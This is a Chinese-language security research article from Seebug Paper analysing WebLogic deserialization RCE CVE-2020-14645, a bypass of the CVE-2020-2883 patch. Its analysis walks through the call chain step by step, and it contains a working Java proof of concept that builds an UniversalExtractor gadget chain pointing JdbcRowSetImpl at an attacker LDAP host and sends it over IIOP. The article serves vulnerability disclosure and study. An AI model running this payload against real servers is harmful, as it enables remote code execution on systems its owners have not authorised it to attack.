做者:hu4wufu @ 白帽匯安全研究院
覈對:r4v3zn @ 白帽匯安全研究院
本文爲做者投稿,Seebug Paper 期待你的分享,凡經採用即有禮品相送!
投稿郵箱:paper@seebug.org
html
前言
近期公佈的關於 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是對 CVE-2020-2883的補丁進行繞過。以前的 CVE-2020-2883 本質上是經過 ReflectionExtractor
調用任意方法,從而實現調用 Runtime
對象的 exec 方法執行任意命令,補丁將 ReflectionExtractor
列入黑名單,那麼能夠使用 UniversalExtractor
從新構造一條利用鏈。UniversalExtractor
任意調用 get
、is
方法致使可利用 JDNI 遠程動態類加載。UniversalExtractor
是 Weblogic 12.2.1.4.0 版本中獨有的,本文也是基於該版本進行分析。api
漏洞復現
漏洞利用 POC,如下的分析也是基於該 POC 進行分析數組
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})}); PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor)); queue.add("1"); queue.add("1"); //構造 UniversalExtract 調用 JdbcRowSetImpl 對象的任意方法 UniversalExtractor universalExtractor = new UniversalExtractor(); Object object = new Object[]{}; Reflections.setFieldValue(universalExtractor,"m_aoParam",object); Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData"); Reflections.setFieldValue(universalExtractor,"m_fMethod",false); ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor}; Field[] fields = ChainedExtractor.class.getDeclaredFields(); Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor"); field.setAccessible(true); field.set(chainedExtractor,valueExtractor_list); JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class); jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa"); Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue")); queueArray[0] = jdbcRowSet; // 發送 IIOP 協議數據包 Context context = getContext("iiop://ip:port"); context.rebind("hello", queue);
成功彈出計算機安全
漏洞分析
瞭解過 JDNI
注入的都知道漏洞在 lookup()
觸發,這裏在 JdbcRowSetImpl.class
中 326
行 lookup()
函數處設置斷點,如下爲漏洞利用的簡要調用鏈條:oracle
咱們從頭分析,咱們都知道反序列化的根本是對象反序列化的時候,咱們從 IO 流裏面讀出數據的時候再以這種規則把對象還原回來。咱們在 in.readObject()
處打斷點,跟進查看 PriorityQueue.readObject()
方法函數
這裏 782 執行 s.defaultReadObject()
,785 執行 s.readInt()
賦給對象輸入流大小以及數組長度,並在 790 行執行 for 循環,依次將 s.readObject()
方法賦值給 queue
對象數組,這裏 queue
對象數組長度爲 2。this
接着往下跟,查看 heapify()
方法。PriorityQueue
其實是一個最小堆,這裏經過 siftDown()
方法進行排序實現堆化,spa
跟進 siftDown()
方法,這裏首先判斷 comparator
是否爲空3d
咱們能夠看看 comparator
是怎麼來的,因而可知是在 PriorityQueue
的構造函數中被賦值的,在初始化構造時,除了給 this.comparator
進行賦值以外,經過 initialCapacity
進行初始化長度。code
comparator
不爲空,因此咱們執行的是 siftDownUsingComparator()
方法,因此跟進 siftDownUsingComparator()
方法。
繼續跟進 ExtractorComparator.compare()
方法
這裏調用的是 this.m_extractor.extract()
方法,來看看 this.m_extractor
,這裏傳入了 extractor
,
this.m_extractor
的值是與傳入的 extractor
有關的。這裏須要構造 this.m_extractor
爲 ChainedExtractor
,才能夠調用 ChainedExtractor
的 extract()
方法實現 extract()
調用。
繼續跟進 ChainedExtractor.extract()
方法,能夠發現會遍歷 aExtractor
數組,並調用 extract()
方法。
跟進 extract()
方法,此處因爲 m_cacheTarget
使用了 transient
修飾,沒法被反序列化,所以只能執行 else
部分,最後經過 this.extractComplex(oTarget)
進行最終觸發漏洞點
this.extractComplex(oTarget)
中能夠看到最後經過 method.invoke()
進行反射執行,其中 oTarget
和 aoParam
都是可控的。
咱們跟進190的 findMethod()
方法,在 475 行須要使 fExactMatch
爲 true
,fStatic
爲 false
纔可以讓傳入 clz
的能夠獲取任意方法。fStatic
是可控的,而 fExactMatch
默認爲true
,只要沒進入 for
循環便可保持 true
不變,使 cParams
爲空即 aclzParam
爲空的 Class
數組便可,此處 aclzParam
從 getClassArray()
方法獲取。
在 getClasssArray
中經過獲取輸入參數的值對應的 Class 進行處理。
因爲傳入的 aoParam
是一個空的 Object[]
,因此獲取對應的 Class
也爲空的 Class[]
,跟入 isPropertyExtractor()
中進行進行獲取能夠看到將 this._fMethod
獲取相反的值。
因爲 m_fMethod
被 transient
修飾,不會被序列化,經過分析 m_fMethod
賦值過程,可發如今 init()
時會獲取sCName,而且經過斷定是否爲 ()
結尾來進行賦值。
因爲參數爲 this
的緣由,致使getValueExtractorCanonicalName()
方法返回的都是 null
。
跟入 getValueExtractorCanonicalName()
函數,最後是經過調用 computeValuExtractorCanonicalName
進行處理。
跟入 computeValuExtractorCanonicalName()
以後,若是 aoParam
不爲 null
且數組長度大於 0 就會返回 null
,因爲 aoParam
必須爲 null
,所以咱們調用的方法必須是無參的。接着若是方法名 sName
不以 ()
結尾,就會直接返回方法名。不然會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES
數組中的前綴開頭,若是是的話就會截取掉並返回。
回到 extractComplex()
方法中,在 if
條件裏會對上述返回的方法名作首字母大寫處理,而後拼接 BEAN_ACCESSOR_PREFIXES
數組中的前綴,判斷 clzTarget
類中是否含有拼接後的方法。這裏能夠看到咱們只能調用任意類中的 get
和 is
開頭的無參方法。也就解釋了爲何 poc
會想到利用 JNDI
來進行遠程動態類加載。
跟進 method.invoke()
方法,會直接跳轉至 JdbcRowSetImpl.getDatabaseMetaData()
。
因爲JdbcRowSetImpl.getDatabaseMetaData()
,調用了 this.connect()
,能夠看到在 326 行執行了 lookup
操做,觸發了漏洞。
至此,跟進 getDataSourceName()
,可看到調用了可控制的 dataSource
。
總結
此漏洞主要以繞過黑名單的形式,利用 UniversalExtractor
任意調用get
、is
方法致使 JNDI 注入,由此拓展 CVE-2020-14625。
參考
- WebLogic coherence UniversalExtractor 反序列化 (CVE-2020-14645) 漏洞分析
- https://www.oracle.com/security-alerts/cpujul2020.html
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1287/